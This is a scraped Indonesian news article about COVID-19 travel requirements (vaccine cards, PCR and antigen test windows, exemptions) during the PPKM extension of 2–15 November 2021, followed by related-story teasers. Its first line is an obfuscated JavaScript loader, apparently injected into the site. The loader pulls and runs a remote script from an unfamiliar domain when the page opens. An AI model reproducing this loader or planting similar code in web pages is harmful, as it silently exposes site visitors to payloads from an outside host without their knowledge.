(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Pemerintah kembali memperpanjang aturan PPKM untuk dua minggu ke depan yakni pada tanggal 2-15 November 2021. Terkait hal itu, syarat dan aturan penerbangan domestik pun berubah. Berikut penjelasan mengenai aturan dan syarat penerbangan terbaru 2 November – 15 November 2021.
Syarat Penerbangan Terbaru
Aturan naik pesawtat baru dijelaskan dalam dalam Surat Edaran (SE) Satuan Tugas Penanganan Covid-19 Nomor 22 Tahun 2021. Dalam SE tersebut disebutkan bahwa pelaku perjalanan transportasi udara dari dan ke daerah di wilayah Jawa-Bali serta antarkabupaten/kota di Jawa-Bali wajib menunjukkan kartu vaksin dan hasil negatif tes Covid-19.
Meski begitu, hasil tes PCR (diambil maksimal 3×24 jam) hanya diberlakukan bagi penumpang atau pelaku perjalanan dengan dosis pertama. Sedangkan penumpang yang sudah melakukan dua dosis vaksin lengkap hanya perlu menunjukan hasil tes antigen negatif (diambil maksimal 1×24 jam).
Baca juga : Advokat Jurkani Korban Penyerangan terkait Kasus Tambang Ilegal Meninggal Dunia
Syarat Penumpang Jalur Laut dan Darat
Sementara itu, aturan serupa juga berlaku bagi pelaku perjalanan dengan transportasi jalur laut maupun darat dengan kendaraan pribadi atau umum, penyeberangan maupun kereta api antarkota dan provinsi.
Pengecualian
Ketentuan dan aturan terbaru di atas tidak berlaku untuk 3 kategori yakni:
1.Pelaku perjalanan usia di bawah 12 tahun.
2.Pelaku perjalanan kendaraan logistik dan transportasi barang lainnya yang sedang melakukan perjalanan dalam negeri atau di wilayah luar Jawa-Bali
3.Pelaku perjalanan dengan kondisi kesehatan khusus atau memiliki penyakit komorbid yang menyebabkan tidak dapat menerima vaksin covid-19. Tapi, pelaku perjalanan wajib melampirkan surat dokter dari rumah sakit pemerintah yang menyatakan bahwa yang bersangkutan belum/tidak dapat divaksin.
Baca juga : Sah! TikTok Tambah Durasi Video Jadi 5 Menit, Bisa Dicoba di Indonesia
Demikian penjelasan tentang syarat penerbangan terbaru 2 November hingga 15 November 2021. Calon penumpang pesawat harap diperhatikan aturan di atas. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.